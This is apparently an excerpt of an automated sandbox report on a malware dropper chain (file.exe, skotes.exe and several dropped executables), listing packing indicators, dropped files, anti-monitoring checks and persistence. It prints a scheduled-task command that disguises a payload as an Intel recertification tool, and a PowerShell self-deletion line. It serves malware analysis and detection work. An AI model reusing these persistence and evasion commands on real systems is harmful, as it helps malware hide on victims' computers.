Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbF source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 0626ec4ce0.exe, 00000019.00000003.2950898535.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2952933778.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965275206.0000000005630000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965137341.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 0626ec4ce0.exe, 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2e source: DxfmGsU.exe, 00000006.00000002.2430345619.00000000091B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 0626ec4ce0.exe, 00000019.00000003.2949692549.0000000005C60000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2949439020.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963418688.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963759645.0000000005700000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2950078227.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2950269122.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964678167.00000000056B0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964173493.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2949692549.0000000005C60000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2949439020.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963418688.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2963759645.0000000005700000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb? source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 0626ec4ce0.exe, 00000019.00000003.2950078227.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2950269122.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964678167.00000000056B0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2964173493.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*x source: DxfmGsU.exe, 00000006.00000002.2430345619.00000000091B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: DxfmGsU.exe, 00000006.00000002.2430345619.00000000091B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\*E^ source: DxfmGsU.exe, 00000006.00000002.2429243361.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2950898535.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2952933778.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965275206.0000000005630000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965137341.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 0626ec4ce0.exe, 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W;opurfhmz:EW;kcliltur:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;opurfhmz:EW;kcliltur:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.800000.0.unpack :EW;.rsrc:W;.idata :W;opurfhmz:EW;kcliltur:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;opurfhmz:EW;kcliltur:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Unpacked PE file: 12.2.5d99420dfa.exe.780000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ddzecpfm:EW;uavqjtyc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ddzecpfm:EW;uavqjtyc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Unpacked PE file: 25.2.0626ec4ce0.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qcfhmskp:EW;ilrpjkes:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qcfhmskp:EW;ilrpjkes:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x44c19f should be: 0x43e190
Source: random[2].exe0.5.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 93b1627660.exe.5.dr	Static PE information: real checksum: 0x446bc1 should be: 0x43b0d8
Source: b55b5c2bf3.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: Intel_PTT_EK_Recertification.exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: DxfmGsU.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x825a
Source: 5d99420dfa.exe.5.dr	Static PE information: real checksum: 0x44c19f should be: 0x43e190
Source: 0626ec4ce0.exe.5.dr	Static PE information: real checksum: 0x1f069e should be: 0x1e2372
Source: DxfmGsU[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x825a
Source: 7z.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: file.exe	Static PE information: real checksum: 0x2ea13e should be: 0x2e5d6f
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2ea13e should be: 0x2e5d6f
Source: 475e05f959.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x446bc1 should be: 0x43b0d8
Source: 7z.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: in.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[2].exe.5.dr	Static PE information: real checksum: 0x1f069e should be: 0x1e2372

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: opurfhmz
Source: file.exe	Static PE information: section name: kcliltur
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: opurfhmz
Source: skotes.exe.0.dr	Static PE information: section name: kcliltur
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: qcfhmskp
Source: random[2].exe.5.dr	Static PE information: section name: ilrpjkes
Source: random[2].exe.5.dr	Static PE information: section name: .taggant
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name:
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: .idata
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name:
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: qcfhmskp
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: ilrpjkes
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: oldbffal
Source: random[1].exe0.5.dr	Static PE information: section name: xzawrklp
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 93b1627660.exe.5.dr	Static PE information: section name:
Source: 93b1627660.exe.5.dr	Static PE information: section name: .idata
Source: 93b1627660.exe.5.dr	Static PE information: section name:
Source: 93b1627660.exe.5.dr	Static PE information: section name: oldbffal
Source: 93b1627660.exe.5.dr	Static PE information: section name: xzawrklp
Source: 93b1627660.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: ddzecpfm
Source: random[1].exe1.5.dr	Static PE information: section name: uavqjtyc
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: 5d99420dfa.exe.5.dr	Static PE information: section name:
Source: 5d99420dfa.exe.5.dr	Static PE information: section name: .idata
Source: 5d99420dfa.exe.5.dr	Static PE information: section name:
Source: 5d99420dfa.exe.5.dr	Static PE information: section name: ddzecpfm
Source: 5d99420dfa.exe.5.dr	Static PE information: section name: uavqjtyc
Source: 5d99420dfa.exe.5.dr	Static PE information: section name: .taggant
Source: in.exe.24.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.27.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E2D91C push ecx; ret	0_2_00E2D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E21359 push es; ret	0_2_00E2135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0081D91C push ecx; ret	1_2_0081D92F
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D534A push ecx; ret	7_2_002D535D
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BECB54 push eax; retf	10_3_00BECB55
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BECB50 push eax; retf	10_3_00BECB51
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BF557D push edx; iretd	10_3_00BF558A
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BF547D push edx; retf	10_3_00BF557A
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BF559D push edx; ret	10_3_00BF55BA
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BF5199 push edx; retf	10_3_00BF557A
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BF558D push edx; iretd	10_3_00BF559A
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00B8CF3A push eax; iretd	10_3_00B8CF51
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00B90A0C pushad ; iretd	10_3_00B90A0D
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00B90A0C pushad ; iretd	10_3_00B90A0D
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BD53E4 push esi; retf	10_3_00BD53E7
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BD6F74 push esi; retf	10_3_00BD6F77

Source: file.exe	Static PE information: section name: entropy: 7.980080804551636
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.980080804551636
Source: random[2].exe.5.dr	Static PE information: section name: entropy: 7.973035261838815
Source: random[2].exe.5.dr	Static PE information: section name: qcfhmskp entropy: 7.952168091108906
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: entropy: 7.973035261838815
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: qcfhmskp entropy: 7.952168091108906
Source: random[1].exe0.5.dr	Static PE information: section name: oldbffal entropy: 7.955045954678446
Source: 93b1627660.exe.5.dr	Static PE information: section name: oldbffal entropy: 7.955045954678446
Source: random[1].exe1.5.dr	Static PE information: section name: ddzecpfm entropy: 7.9564817924931495
Source: 5d99420dfa.exe.5.dr	Static PE information: section name: ddzecpfm entropy: 7.9564817924931495

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
